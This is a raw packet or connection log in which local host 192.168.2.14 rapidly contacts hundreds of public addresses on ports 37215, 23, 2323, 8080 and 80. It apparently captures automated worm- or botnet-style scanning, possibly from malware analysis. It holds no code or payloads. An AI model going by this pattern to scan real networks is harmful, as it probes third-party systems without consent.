Feb 27, 2025 07:08:37.612668037 CET	28354	37215	192.168.2.14	157.226.220.19
Feb 27, 2025 07:08:37.612684965 CET	28354	37215	192.168.2.14	157.230.82.97
Feb 27, 2025 07:08:37.612698078 CET	28354	37215	192.168.2.14	157.73.218.200
Feb 27, 2025 07:08:37.612715960 CET	28354	37215	192.168.2.14	157.114.106.185
Feb 27, 2025 07:08:37.612730980 CET	28354	37215	192.168.2.14	157.239.172.190
Feb 27, 2025 07:08:37.612746954 CET	28354	37215	192.168.2.14	157.104.66.197
Feb 27, 2025 07:08:37.612767935 CET	28354	37215	192.168.2.14	157.53.174.26
Feb 27, 2025 07:08:37.612780094 CET	28354	37215	192.168.2.14	157.91.144.155
Feb 27, 2025 07:08:37.612796068 CET	28354	37215	192.168.2.14	157.255.162.62
Feb 27, 2025 07:08:37.612822056 CET	28354	37215	192.168.2.14	157.214.51.58
Feb 27, 2025 07:08:37.612835884 CET	28354	37215	192.168.2.14	157.190.75.37
Feb 27, 2025 07:08:37.612850904 CET	28354	37215	192.168.2.14	157.173.126.149
Feb 27, 2025 07:08:37.612868071 CET	28354	37215	192.168.2.14	157.10.91.95
Feb 27, 2025 07:08:37.612884045 CET	28354	37215	192.168.2.14	157.39.155.244
Feb 27, 2025 07:08:37.612899065 CET	28354	37215	192.168.2.14	157.128.50.143
Feb 27, 2025 07:08:37.612911940 CET	28354	37215	192.168.2.14	157.175.216.124
Feb 27, 2025 07:08:37.612929106 CET	28354	37215	192.168.2.14	157.212.51.155
Feb 27, 2025 07:08:37.612948895 CET	28354	37215	192.168.2.14	157.255.212.237
Feb 27, 2025 07:08:37.612962008 CET	28354	37215	192.168.2.14	157.118.63.191
Feb 27, 2025 07:08:37.612992048 CET	28354	37215	192.168.2.14	157.210.190.232
Feb 27, 2025 07:08:37.612992048 CET	28354	37215	192.168.2.14	157.159.27.70
Feb 27, 2025 07:08:37.613017082 CET	28354	37215	192.168.2.14	157.145.37.20
Feb 27, 2025 07:08:37.613019943 CET	28354	37215	192.168.2.14	157.55.60.34
Feb 27, 2025 07:08:37.613053083 CET	28354	37215	192.168.2.14	157.244.212.232
Feb 27, 2025 07:08:37.613065004 CET	28354	37215	192.168.2.14	157.66.249.57
Feb 27, 2025 07:08:37.613079071 CET	28354	37215	192.168.2.14	157.51.137.141
Feb 27, 2025 07:08:37.613101959 CET	28354	37215	192.168.2.14	157.144.238.206
Feb 27, 2025 07:08:37.613109112 CET	28354	37215	192.168.2.14	157.249.195.72
Feb 27, 2025 07:08:37.613142967 CET	28354	37215	192.168.2.14	157.54.125.26
Feb 27, 2025 07:08:37.613167048 CET	28354	37215	192.168.2.14	157.95.26.46
Feb 27, 2025 07:08:37.613167048 CET	28354	37215	192.168.2.14	157.217.44.133
Feb 27, 2025 07:08:37.613181114 CET	28354	37215	192.168.2.14	157.157.9.173
Feb 27, 2025 07:08:37.613205910 CET	28354	37215	192.168.2.14	157.110.156.130
Feb 27, 2025 07:08:37.613219976 CET	28354	37215	192.168.2.14	157.172.112.174
Feb 27, 2025 07:08:37.613240004 CET	28354	37215	192.168.2.14	157.201.212.172
Feb 27, 2025 07:08:37.613264084 CET	28354	37215	192.168.2.14	157.239.23.194
Feb 27, 2025 07:08:37.613286972 CET	28354	37215	192.168.2.14	157.248.78.56
Feb 27, 2025 07:08:37.613306999 CET	28354	37215	192.168.2.14	157.121.222.178
Feb 27, 2025 07:08:37.613323927 CET	28354	37215	192.168.2.14	157.84.108.69
Feb 27, 2025 07:08:37.613341093 CET	28354	37215	192.168.2.14	157.191.208.47
Feb 27, 2025 07:08:37.613362074 CET	28354	37215	192.168.2.14	157.111.53.107
Feb 27, 2025 07:08:37.613368034 CET	28354	37215	192.168.2.14	157.15.72.9
Feb 27, 2025 07:08:37.613382101 CET	28354	37215	192.168.2.14	157.184.86.94
Feb 27, 2025 07:08:37.613394022 CET	28354	37215	192.168.2.14	157.155.52.242
Feb 27, 2025 07:08:37.613413095 CET	28354	37215	192.168.2.14	157.2.29.91
Feb 27, 2025 07:08:37.613421917 CET	28354	37215	192.168.2.14	157.22.167.247
Feb 27, 2025 07:08:37.613440037 CET	28354	37215	192.168.2.14	157.52.93.225
Feb 27, 2025 07:08:37.613461018 CET	28354	37215	192.168.2.14	157.8.127.85
Feb 27, 2025 07:08:37.613477945 CET	28354	37215	192.168.2.14	157.66.186.182
Feb 27, 2025 07:08:37.613496065 CET	28354	37215	192.168.2.14	157.254.164.237
Feb 27, 2025 07:08:37.613517046 CET	28354	37215	192.168.2.14	157.147.7.160
Feb 27, 2025 07:08:37.613533020 CET	28354	37215	192.168.2.14	157.43.222.227
Feb 27, 2025 07:08:37.613554001 CET	28354	37215	192.168.2.14	157.209.247.195
Feb 27, 2025 07:08:37.613568068 CET	28354	37215	192.168.2.14	157.71.76.168
Feb 27, 2025 07:08:37.613585949 CET	28354	37215	192.168.2.14	157.111.77.129
Feb 27, 2025 07:08:37.613600969 CET	28354	37215	192.168.2.14	157.201.30.152
Feb 27, 2025 07:08:37.613620996 CET	28354	37215	192.168.2.14	157.10.207.229
Feb 27, 2025 07:08:37.613630056 CET	28354	37215	192.168.2.14	157.193.2.200
Feb 27, 2025 07:08:37.613641024 CET	28354	37215	192.168.2.14	157.215.209.239
Feb 27, 2025 07:08:37.613653898 CET	28354	37215	192.168.2.14	157.67.27.68
Feb 27, 2025 07:08:37.613671064 CET	28354	37215	192.168.2.14	157.177.10.225
Feb 27, 2025 07:08:37.613692045 CET	28354	37215	192.168.2.14	157.184.34.132
Feb 27, 2025 07:08:37.613697052 CET	28354	37215	192.168.2.14	157.222.120.188
Feb 27, 2025 07:08:37.613724947 CET	28354	37215	192.168.2.14	157.164.9.200
Feb 27, 2025 07:08:37.613727093 CET	28354	37215	192.168.2.14	157.68.242.89
Feb 27, 2025 07:08:37.613748074 CET	28354	37215	192.168.2.14	157.173.37.178
Feb 27, 2025 07:08:37.613778114 CET	28354	37215	192.168.2.14	157.27.128.123
Feb 27, 2025 07:08:37.613792896 CET	28354	37215	192.168.2.14	157.56.0.77
Feb 27, 2025 07:08:37.613801956 CET	28354	37215	192.168.2.14	157.243.251.119
Feb 27, 2025 07:08:37.613821983 CET	28354	37215	192.168.2.14	157.192.240.232
Feb 27, 2025 07:08:37.613831997 CET	28354	37215	192.168.2.14	157.191.230.154
Feb 27, 2025 07:08:37.613848925 CET	28354	37215	192.168.2.14	157.4.164.191
Feb 27, 2025 07:08:37.613862991 CET	28354	37215	192.168.2.14	157.122.238.102
Feb 27, 2025 07:08:37.613889933 CET	28354	37215	192.168.2.14	157.181.184.237
Feb 27, 2025 07:08:37.613893032 CET	28354	37215	192.168.2.14	157.245.111.228
Feb 27, 2025 07:08:37.613918066 CET	28354	37215	192.168.2.14	157.94.238.82
Feb 27, 2025 07:08:37.613938093 CET	28354	37215	192.168.2.14	157.30.138.165
Feb 27, 2025 07:08:37.613956928 CET	28354	37215	192.168.2.14	157.109.104.25
Feb 27, 2025 07:08:37.613964081 CET	28354	37215	192.168.2.14	157.75.189.185
Feb 27, 2025 07:08:37.613993883 CET	28354	37215	192.168.2.14	157.210.7.218
Feb 27, 2025 07:08:37.614001989 CET	28354	37215	192.168.2.14	157.206.166.66
Feb 27, 2025 07:08:37.614018917 CET	28354	37215	192.168.2.14	157.223.13.175
Feb 27, 2025 07:08:37.614032984 CET	28354	37215	192.168.2.14	157.24.77.81
Feb 27, 2025 07:08:37.614047050 CET	28354	37215	192.168.2.14	157.139.229.25
Feb 27, 2025 07:08:37.614063978 CET	28354	37215	192.168.2.14	157.79.0.119
Feb 27, 2025 07:08:37.614080906 CET	28354	37215	192.168.2.14	157.251.26.10
Feb 27, 2025 07:08:37.614100933 CET	28354	37215	192.168.2.14	157.82.21.157
Feb 27, 2025 07:08:37.614129066 CET	28354	37215	192.168.2.14	157.134.225.222
Feb 27, 2025 07:08:37.614156961 CET	28354	37215	192.168.2.14	157.6.80.111
Feb 27, 2025 07:08:37.614171028 CET	28354	37215	192.168.2.14	157.205.206.210
Feb 27, 2025 07:08:37.614188910 CET	28354	37215	192.168.2.14	157.218.132.43
Feb 27, 2025 07:08:37.614202976 CET	28354	37215	192.168.2.14	157.43.236.62
Feb 27, 2025 07:08:37.614231110 CET	28354	37215	192.168.2.14	157.53.3.154
Feb 27, 2025 07:08:37.614231110 CET	28354	37215	192.168.2.14	157.38.242.29
Feb 27, 2025 07:08:37.614262104 CET	28354	37215	192.168.2.14	157.202.21.80
Feb 27, 2025 07:08:37.614268064 CET	28354	37215	192.168.2.14	157.182.13.148
Feb 27, 2025 07:08:37.614289045 CET	28354	37215	192.168.2.14	157.72.254.243
Feb 27, 2025 07:08:37.614314079 CET	28354	37215	192.168.2.14	157.76.85.31
Feb 27, 2025 07:08:37.614326000 CET	28354	37215	192.168.2.14	157.98.217.210
Feb 27, 2025 07:08:37.614343882 CET	28354	37215	192.168.2.14	157.77.135.108
Feb 27, 2025 07:08:37.614358902 CET	28354	37215	192.168.2.14	157.227.186.37
Feb 27, 2025 07:08:37.614397049 CET	28354	37215	192.168.2.14	157.12.116.3
Feb 27, 2025 07:08:37.614408016 CET	28354	37215	192.168.2.14	157.30.12.133
Feb 27, 2025 07:08:37.614420891 CET	28354	37215	192.168.2.14	157.192.210.248
Feb 27, 2025 07:08:37.614428997 CET	28354	37215	192.168.2.14	157.68.133.177
Feb 27, 2025 07:08:37.614451885 CET	28354	37215	192.168.2.14	157.102.114.185
Feb 27, 2025 07:08:37.614475012 CET	28354	37215	192.168.2.14	157.11.26.9
Feb 27, 2025 07:08:37.614486933 CET	28354	37215	192.168.2.14	157.176.244.214
Feb 27, 2025 07:08:37.614504099 CET	28354	37215	192.168.2.14	157.102.238.161
Feb 27, 2025 07:08:37.614516973 CET	28354	37215	192.168.2.14	157.222.219.68
Feb 27, 2025 07:08:37.614533901 CET	28354	37215	192.168.2.14	157.28.115.90
Feb 27, 2025 07:08:37.614547968 CET	28354	37215	192.168.2.14	157.150.107.8
Feb 27, 2025 07:08:37.614568949 CET	28354	37215	192.168.2.14	157.89.8.194
Feb 27, 2025 07:08:37.614590883 CET	28354	37215	192.168.2.14	157.228.147.136
Feb 27, 2025 07:08:37.614598036 CET	28354	37215	192.168.2.14	157.180.76.126
Feb 27, 2025 07:08:37.614609957 CET	28354	37215	192.168.2.14	157.178.164.229
Feb 27, 2025 07:08:37.614626884 CET	28354	37215	192.168.2.14	157.190.212.76
Feb 27, 2025 07:08:37.614643097 CET	28354	37215	192.168.2.14	157.20.8.77
Feb 27, 2025 07:08:37.614660025 CET	28354	37215	192.168.2.14	157.167.204.225
Feb 27, 2025 07:08:37.614669085 CET	28354	37215	192.168.2.14	157.49.228.173
Feb 27, 2025 07:08:37.614689112 CET	28354	37215	192.168.2.14	157.97.49.3
Feb 27, 2025 07:08:37.614705086 CET	28354	37215	192.168.2.14	157.221.52.39
Feb 27, 2025 07:08:37.614727974 CET	28354	37215	192.168.2.14	157.180.24.8
Feb 27, 2025 07:08:37.614743948 CET	28354	37215	192.168.2.14	157.55.244.182
Feb 27, 2025 07:08:37.614773989 CET	28354	37215	192.168.2.14	157.139.147.202
Feb 27, 2025 07:08:37.614782095 CET	28354	37215	192.168.2.14	157.56.117.63
Feb 27, 2025 07:08:37.614804983 CET	28354	37215	192.168.2.14	157.128.236.205
Feb 27, 2025 07:08:37.614809036 CET	28354	37215	192.168.2.14	157.251.86.206
Feb 27, 2025 07:08:37.614835024 CET	28354	37215	192.168.2.14	157.22.195.132
Feb 27, 2025 07:08:37.614860058 CET	28354	37215	192.168.2.14	157.122.111.110
Feb 27, 2025 07:08:37.615207911 CET	44272	37215	192.168.2.14	157.93.91.155
Feb 27, 2025 07:08:37.620007038 CET	23	25794	77.184.50.174	192.168.2.14
Feb 27, 2025 07:08:37.620027065 CET	2323	25794	50.176.26.221	192.168.2.14
Feb 27, 2025 07:08:37.620040894 CET	23	25794	49.234.177.19	192.168.2.14
Feb 27, 2025 07:08:37.620054960 CET	23	25794	81.198.53.76	192.168.2.14
Feb 27, 2025 07:08:37.620066881 CET	25794	23	192.168.2.14	77.184.50.174
Feb 27, 2025 07:08:37.620066881 CET	25794	2323	192.168.2.14	50.176.26.221
Feb 27, 2025 07:08:37.620069027 CET	23	25794	223.114.255.25	192.168.2.14
Feb 27, 2025 07:08:37.620088100 CET	23	25794	46.200.108.190	192.168.2.14
Feb 27, 2025 07:08:37.620091915 CET	25794	23	192.168.2.14	223.114.255.25
Feb 27, 2025 07:08:37.620100021 CET	25794	23	192.168.2.14	81.198.53.76
Feb 27, 2025 07:08:37.620100975 CET	25794	23	192.168.2.14	49.234.177.19
Feb 27, 2025 07:08:37.620101929 CET	23	25794	5.231.41.20	192.168.2.14
Feb 27, 2025 07:08:37.620116949 CET	23	25794	20.160.11.86	192.168.2.14
Feb 27, 2025 07:08:37.620131016 CET	25794	23	192.168.2.14	46.200.108.190
Feb 27, 2025 07:08:37.620131016 CET	23	25794	146.44.141.12	192.168.2.14
Feb 27, 2025 07:08:37.620143890 CET	25794	23	192.168.2.14	5.231.41.20
Feb 27, 2025 07:08:37.620145082 CET	23	25794	35.255.110.148	192.168.2.14
Feb 27, 2025 07:08:37.620157957 CET	23	25794	62.228.91.147	192.168.2.14
Feb 27, 2025 07:08:37.620157957 CET	25794	23	192.168.2.14	20.160.11.86
Feb 27, 2025 07:08:37.620171070 CET	23	25794	172.182.223.36	192.168.2.14
Feb 27, 2025 07:08:37.620176077 CET	25794	23	192.168.2.14	146.44.141.12
Feb 27, 2025 07:08:37.620183945 CET	25794	23	192.168.2.14	35.255.110.148
Feb 27, 2025 07:08:37.620184898 CET	23	25794	70.134.191.83	192.168.2.14
Feb 27, 2025 07:08:37.620186090 CET	25794	23	192.168.2.14	62.228.91.147
Feb 27, 2025 07:08:37.620197058 CET	23	25794	190.250.39.209	192.168.2.14
Feb 27, 2025 07:08:37.620208979 CET	23	25794	122.227.128.165	192.168.2.14
Feb 27, 2025 07:08:37.620209932 CET	25794	23	192.168.2.14	172.182.223.36
Feb 27, 2025 07:08:37.620222092 CET	2323	25794	39.166.223.200	192.168.2.14
Feb 27, 2025 07:08:37.620223045 CET	25794	23	192.168.2.14	70.134.191.83
Feb 27, 2025 07:08:37.620225906 CET	25794	23	192.168.2.14	190.250.39.209
Feb 27, 2025 07:08:37.620234966 CET	23	25794	98.90.89.177	192.168.2.14
Feb 27, 2025 07:08:37.620248079 CET	23	25794	119.18.174.145	192.168.2.14
Feb 27, 2025 07:08:37.620249987 CET	25794	23	192.168.2.14	122.227.128.165
Feb 27, 2025 07:08:37.620254993 CET	25794	2323	192.168.2.14	39.166.223.200
Feb 27, 2025 07:08:37.620261908 CET	23	25794	200.230.30.205	192.168.2.14
Feb 27, 2025 07:08:37.620274067 CET	2323	25794	138.182.44.197	192.168.2.14
Feb 27, 2025 07:08:37.620275974 CET	25794	23	192.168.2.14	98.90.89.177
Feb 27, 2025 07:08:37.620281935 CET	25794	23	192.168.2.14	119.18.174.145
Feb 27, 2025 07:08:37.620286942 CET	23	25794	49.32.148.65	192.168.2.14
Feb 27, 2025 07:08:37.620300055 CET	23	25794	14.27.162.213	192.168.2.14
Feb 27, 2025 07:08:37.620306015 CET	25794	2323	192.168.2.14	138.182.44.197
Feb 27, 2025 07:08:37.620306969 CET	25794	23	192.168.2.14	200.230.30.205
Feb 27, 2025 07:08:37.620312929 CET	23	25794	186.68.146.115	192.168.2.14
Feb 27, 2025 07:08:37.620325089 CET	25794	23	192.168.2.14	49.32.148.65
Feb 27, 2025 07:08:37.620326042 CET	23	25794	51.241.92.212	192.168.2.14
Feb 27, 2025 07:08:37.620326042 CET	25794	23	192.168.2.14	14.27.162.213
Feb 27, 2025 07:08:37.620337963 CET	23	25794	12.1.147.194	192.168.2.14
Feb 27, 2025 07:08:37.620351076 CET	23	25794	4.72.215.229	192.168.2.14
Feb 27, 2025 07:08:37.620352030 CET	25794	23	192.168.2.14	186.68.146.115
Feb 27, 2025 07:08:37.620362043 CET	25794	23	192.168.2.14	51.241.92.212
Feb 27, 2025 07:08:37.620363951 CET	23	25794	163.236.211.6	192.168.2.14
Feb 27, 2025 07:08:37.620378971 CET	23	25794	159.163.195.87	192.168.2.14
Feb 27, 2025 07:08:37.620384932 CET	25794	23	192.168.2.14	12.1.147.194
Feb 27, 2025 07:08:37.620384932 CET	25794	23	192.168.2.14	4.72.215.229
Feb 27, 2025 07:08:37.620414019 CET	25794	23	192.168.2.14	163.236.211.6
Feb 27, 2025 07:08:37.620424986 CET	23	25794	54.106.154.25	192.168.2.14
Feb 27, 2025 07:08:37.620434046 CET	25794	23	192.168.2.14	159.163.195.87
Feb 27, 2025 07:08:37.620439053 CET	23	25794	17.68.163.209	192.168.2.14
Feb 27, 2025 07:08:37.620454073 CET	23	25794	152.83.179.30	192.168.2.14
Feb 27, 2025 07:08:37.620465994 CET	23	25794	84.8.108.103	192.168.2.14
Feb 27, 2025 07:08:37.620467901 CET	25794	23	192.168.2.14	54.106.154.25
Feb 27, 2025 07:08:37.620467901 CET	25794	23	192.168.2.14	17.68.163.209
Feb 27, 2025 07:08:37.620477915 CET	23	25794	164.249.228.239	192.168.2.14
Feb 27, 2025 07:08:37.620491028 CET	23	25794	156.237.212.235	192.168.2.14
Feb 27, 2025 07:08:37.620497942 CET	25794	23	192.168.2.14	152.83.179.30
Feb 27, 2025 07:08:37.620502949 CET	23	25794	137.73.136.10	192.168.2.14
Feb 27, 2025 07:08:37.620507956 CET	25794	23	192.168.2.14	84.8.108.103
Feb 27, 2025 07:08:37.620507956 CET	25794	23	192.168.2.14	164.249.228.239
Feb 27, 2025 07:08:37.620518923 CET	23	25794	157.86.119.181	192.168.2.14
Feb 27, 2025 07:08:37.620532990 CET	23	25794	155.161.219.53	192.168.2.14
Feb 27, 2025 07:08:37.620542049 CET	25794	23	192.168.2.14	156.237.212.235
Feb 27, 2025 07:08:37.620546103 CET	2323	25794	116.11.102.225	192.168.2.14
Feb 27, 2025 07:08:37.620546103 CET	25794	23	192.168.2.14	137.73.136.10
Feb 27, 2025 07:08:37.620558977 CET	23	25794	155.209.95.240	192.168.2.14
Feb 27, 2025 07:08:37.620565891 CET	25794	23	192.168.2.14	157.86.119.181
Feb 27, 2025 07:08:37.620565891 CET	25794	23	192.168.2.14	155.161.219.53
Feb 27, 2025 07:08:37.620573044 CET	23	25794	210.211.5.17	192.168.2.14
Feb 27, 2025 07:08:37.620585918 CET	23	25794	38.122.26.180	192.168.2.14
Feb 27, 2025 07:08:37.620592117 CET	25794	23	192.168.2.14	155.209.95.240
Feb 27, 2025 07:08:37.620595932 CET	25794	2323	192.168.2.14	116.11.102.225
Feb 27, 2025 07:08:37.620599031 CET	23	25794	69.93.60.100	192.168.2.14
Feb 27, 2025 07:08:37.620606899 CET	25794	23	192.168.2.14	210.211.5.17
Feb 27, 2025 07:08:37.620611906 CET	23	25794	135.187.172.24	192.168.2.14
Feb 27, 2025 07:08:37.620625019 CET	23	25794	186.114.185.226	192.168.2.14
Feb 27, 2025 07:08:37.620631933 CET	25794	23	192.168.2.14	38.122.26.180
Feb 27, 2025 07:08:37.620631933 CET	25794	23	192.168.2.14	69.93.60.100
Feb 27, 2025 07:08:37.620637894 CET	23	25794	175.231.202.21	192.168.2.14
Feb 27, 2025 07:08:37.620646000 CET	25794	23	192.168.2.14	135.187.172.24
Feb 27, 2025 07:08:37.620651007 CET	23	25794	12.74.246.119	192.168.2.14
Feb 27, 2025 07:08:37.620662928 CET	2323	25794	186.205.237.214	192.168.2.14
Feb 27, 2025 07:08:37.620663881 CET	25794	23	192.168.2.14	186.114.185.226
Feb 27, 2025 07:08:37.620676041 CET	23	25794	108.111.138.12	192.168.2.14
Feb 27, 2025 07:08:37.620682001 CET	25794	23	192.168.2.14	175.231.202.21
Feb 27, 2025 07:08:37.620682001 CET	25794	23	192.168.2.14	12.74.246.119
Feb 27, 2025 07:08:37.620688915 CET	23	25794	206.81.159.92	192.168.2.14
Feb 27, 2025 07:08:37.620702028 CET	23	25794	210.124.107.154	192.168.2.14
Feb 27, 2025 07:08:37.620706081 CET	25794	2323	192.168.2.14	186.205.237.214
Feb 27, 2025 07:08:37.620711088 CET	25794	23	192.168.2.14	108.111.138.12
Feb 27, 2025 07:08:37.620717049 CET	23	25794	69.245.159.190	192.168.2.14
Feb 27, 2025 07:08:37.620731115 CET	23	25794	162.216.253.168	192.168.2.14
Feb 27, 2025 07:08:37.620734930 CET	25794	23	192.168.2.14	206.81.159.92
Feb 27, 2025 07:08:37.620734930 CET	25794	23	192.168.2.14	210.124.107.154
Feb 27, 2025 07:08:37.620743990 CET	23	25794	184.60.58.169	192.168.2.14
Feb 27, 2025 07:08:37.620758057 CET	23	25794	38.212.63.234	192.168.2.14
Feb 27, 2025 07:08:37.620760918 CET	25794	23	192.168.2.14	69.245.159.190
Feb 27, 2025 07:08:37.620769978 CET	23	25794	142.58.224.138	192.168.2.14
Feb 27, 2025 07:08:37.620774984 CET	25794	23	192.168.2.14	162.216.253.168
Feb 27, 2025 07:08:37.620778084 CET	25794	23	192.168.2.14	184.60.58.169
Feb 27, 2025 07:08:37.620781898 CET	23	25794	197.78.65.190	192.168.2.14
Feb 27, 2025 07:08:37.620805979 CET	25794	23	192.168.2.14	142.58.224.138
Feb 27, 2025 07:08:37.620805979 CET	25794	23	192.168.2.14	38.212.63.234
Feb 27, 2025 07:08:37.620807886 CET	23	25794	25.11.133.231	192.168.2.14
Feb 27, 2025 07:08:37.620821953 CET	23	25794	184.169.87.143	192.168.2.14
Feb 27, 2025 07:08:37.620821953 CET	25794	23	192.168.2.14	197.78.65.190
Feb 27, 2025 07:08:37.620835066 CET	23	25794	188.91.48.19	192.168.2.14
Feb 27, 2025 07:08:37.620841980 CET	25794	23	192.168.2.14	25.11.133.231
Feb 27, 2025 07:08:37.620860100 CET	23	25794	51.89.223.166	192.168.2.14
Feb 27, 2025 07:08:37.620862007 CET	25794	23	192.168.2.14	184.169.87.143
Feb 27, 2025 07:08:37.620873928 CET	25794	23	192.168.2.14	188.91.48.19
Feb 27, 2025 07:08:37.620873928 CET	23	25794	80.54.202.74	192.168.2.14
Feb 27, 2025 07:08:37.620887995 CET	23	25794	138.35.223.44	192.168.2.14
Feb 27, 2025 07:08:37.620902061 CET	25794	23	192.168.2.14	51.89.223.166
Feb 27, 2025 07:08:37.620902061 CET	2323	25794	143.44.16.105	192.168.2.14
Feb 27, 2025 07:08:37.620904922 CET	25794	23	192.168.2.14	80.54.202.74
Feb 27, 2025 07:08:37.620914936 CET	23	25794	144.49.253.5	192.168.2.14
Feb 27, 2025 07:08:37.620928049 CET	23	25794	101.85.252.225	192.168.2.14
Feb 27, 2025 07:08:37.620933056 CET	25794	23	192.168.2.14	138.35.223.44
Feb 27, 2025 07:08:37.620940924 CET	23	25794	125.220.50.31	192.168.2.14
Feb 27, 2025 07:08:37.620944977 CET	25794	23	192.168.2.14	144.49.253.5
Feb 27, 2025 07:08:37.620948076 CET	25794	2323	192.168.2.14	143.44.16.105
Feb 27, 2025 07:08:37.620954037 CET	23	25794	46.49.25.124	192.168.2.14
Feb 27, 2025 07:08:37.620966911 CET	2323	25794	161.206.163.60	192.168.2.14
Feb 27, 2025 07:08:37.620970964 CET	25794	23	192.168.2.14	101.85.252.225
Feb 27, 2025 07:08:37.620973110 CET	25794	23	192.168.2.14	125.220.50.31
Feb 27, 2025 07:08:37.620979071 CET	23	25794	76.52.244.38	192.168.2.14
Feb 27, 2025 07:08:37.620990992 CET	2323	25794	172.48.58.71	192.168.2.14
Feb 27, 2025 07:08:37.620995998 CET	25794	23	192.168.2.14	46.49.25.124
Feb 27, 2025 07:08:37.620999098 CET	25794	2323	192.168.2.14	161.206.163.60
Feb 27, 2025 07:08:37.621004105 CET	23	25794	65.228.216.182	192.168.2.14
Feb 27, 2025 07:08:37.621016026 CET	23	25794	182.246.0.70	192.168.2.14
Feb 27, 2025 07:08:37.621018887 CET	25794	23	192.168.2.14	76.52.244.38
Feb 27, 2025 07:08:37.621020079 CET	25794	2323	192.168.2.14	172.48.58.71
Feb 27, 2025 07:08:37.621027946 CET	23	25794	138.174.156.255	192.168.2.14
Feb 27, 2025 07:08:37.621041059 CET	2323	25794	222.173.70.153	192.168.2.14
Feb 27, 2025 07:08:37.621047020 CET	25794	23	192.168.2.14	65.228.216.182
Feb 27, 2025 07:08:37.621047974 CET	25794	23	192.168.2.14	182.246.0.70
Feb 27, 2025 07:08:37.621053934 CET	23	25794	81.143.90.79	192.168.2.14
Feb 27, 2025 07:08:37.621066093 CET	25794	23	192.168.2.14	138.174.156.255
Feb 27, 2025 07:08:37.621068001 CET	2323	43008	159.178.23.251	192.168.2.14
Feb 27, 2025 07:08:37.621072054 CET	25794	2323	192.168.2.14	222.173.70.153
Feb 27, 2025 07:08:37.621081114 CET	23	51130	177.205.27.253	192.168.2.14
Feb 27, 2025 07:08:37.621083021 CET	25794	23	192.168.2.14	81.143.90.79
Feb 27, 2025 07:08:37.621093988 CET	23	47004	192.106.168.8	192.168.2.14
Feb 27, 2025 07:08:37.621105909 CET	23	34718	90.49.168.251	192.168.2.14
Feb 27, 2025 07:08:37.621119022 CET	8080	25538	62.4.123.156	192.168.2.14
Feb 27, 2025 07:08:37.621119022 CET	43008	2323	192.168.2.14	159.178.23.251
Feb 27, 2025 07:08:37.621131897 CET	23	60336	169.143.234.119	192.168.2.14
Feb 27, 2025 07:08:37.621136904 CET	51130	23	192.168.2.14	177.205.27.253
Feb 27, 2025 07:08:37.621136904 CET	47004	23	192.168.2.14	192.106.168.8
Feb 27, 2025 07:08:37.621141911 CET	34718	23	192.168.2.14	90.49.168.251
Feb 27, 2025 07:08:37.621149063 CET	37215	28354	157.153.14.182	192.168.2.14
Feb 27, 2025 07:08:37.621167898 CET	25538	8080	192.168.2.14	62.4.123.156
Feb 27, 2025 07:08:37.621171951 CET	60336	23	192.168.2.14	169.143.234.119
Feb 27, 2025 07:08:37.621185064 CET	28354	37215	192.168.2.14	157.153.14.182
Feb 27, 2025 07:08:37.621624947 CET	39816	23	192.168.2.14	77.184.50.174
Feb 27, 2025 07:08:37.622188091 CET	55088	2323	192.168.2.14	50.176.26.221
Feb 27, 2025 07:08:37.622747898 CET	58874	23	192.168.2.14	49.234.177.19
Feb 27, 2025 07:08:37.623291969 CET	55250	23	192.168.2.14	81.198.53.76
Feb 27, 2025 07:08:37.623825073 CET	37920	23	192.168.2.14	223.114.255.25
Feb 27, 2025 07:08:37.624372959 CET	43474	23	192.168.2.14	46.200.108.190
Feb 27, 2025 07:08:37.624926090 CET	57870	23	192.168.2.14	5.231.41.20
Feb 27, 2025 07:08:37.625458002 CET	47480	23	192.168.2.14	20.160.11.86
Feb 27, 2025 07:08:37.625992060 CET	35278	23	192.168.2.14	146.44.141.12
Feb 27, 2025 07:08:37.626538992 CET	45390	23	192.168.2.14	35.255.110.148
Feb 27, 2025 07:08:37.626730919 CET	43406	80	192.168.2.14	95.131.111.23
Feb 27, 2025 07:08:37.626732111 CET	48220	37215	192.168.2.14	197.111.241.92
Feb 27, 2025 07:08:37.626734018 CET	41674	37215	192.168.2.14	197.73.50.27
Feb 27, 2025 07:08:37.626743078 CET	35492	37215	192.168.2.14	197.198.185.216
Feb 27, 2025 07:08:37.626856089 CET	23	39816	77.184.50.174	192.168.2.14
Feb 27, 2025 07:08:37.626908064 CET	39816	23	192.168.2.14	77.184.50.174
Feb 27, 2025 07:08:37.627084017 CET	36642	23	192.168.2.14	62.228.91.147
Feb 27, 2025 07:08:37.627634048 CET	50074	23	192.168.2.14	172.182.223.36
Feb 27, 2025 07:08:37.628154039 CET	56654	23	192.168.2.14	70.134.191.83
Feb 27, 2025 07:08:37.628690958 CET	35826	23	192.168.2.14	190.250.39.209
Feb 27, 2025 07:08:37.629220009 CET	52808	23	192.168.2.14	122.227.128.165
Feb 27, 2025 07:08:37.629755974 CET	56016	2323	192.168.2.14	39.166.223.200
Feb 27, 2025 07:08:37.630304098 CET	42158	23	192.168.2.14	98.90.89.177
Feb 27, 2025 07:08:37.630815029 CET	41352	23	192.168.2.14	119.18.174.145
Feb 27, 2025 07:08:37.631351948 CET	58404	23	192.168.2.14	200.230.30.205
Feb 27, 2025 07:08:37.631895065 CET	60356	2323	192.168.2.14	138.182.44.197
Feb 27, 2025 07:08:37.632489920 CET	39486	23	192.168.2.14	49.32.148.65
Feb 27, 2025 07:08:37.632713079 CET	23	50074	172.182.223.36	192.168.2.14
Feb 27, 2025 07:08:37.632762909 CET	50074	23	192.168.2.14	172.182.223.36
Feb 27, 2025 07:08:37.633035898 CET	48988	23	192.168.2.14	14.27.162.213
Feb 27, 2025 07:08:37.633563042 CET	44106	23	192.168.2.14	186.68.146.115
Feb 27, 2025 07:08:37.634108067 CET	49186	23	192.168.2.14	51.241.92.212
Feb 27, 2025 07:08:37.634653091 CET	47892	23	192.168.2.14	12.1.147.194
Feb 27, 2025 07:08:37.635196924 CET	51820	23	192.168.2.14	4.72.215.229
Feb 27, 2025 07:08:37.636004925 CET	80	50474	95.107.74.132	192.168.2.14
Feb 27, 2025 07:08:37.636046886 CET	50474	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:37.636261940 CET	41438	23	192.168.2.14	163.236.211.6
Feb 27, 2025 07:08:37.636818886 CET	41406	23	192.168.2.14	159.163.195.87
Feb 27, 2025 07:08:37.637368917 CET	41058	23	192.168.2.14	54.106.154.25
Feb 27, 2025 07:08:37.637895107 CET	55304	23	192.168.2.14	17.68.163.209
Feb 27, 2025 07:08:37.638427973 CET	52290	23	192.168.2.14	152.83.179.30
Feb 27, 2025 07:08:37.638959885 CET	50648	23	192.168.2.14	84.8.108.103
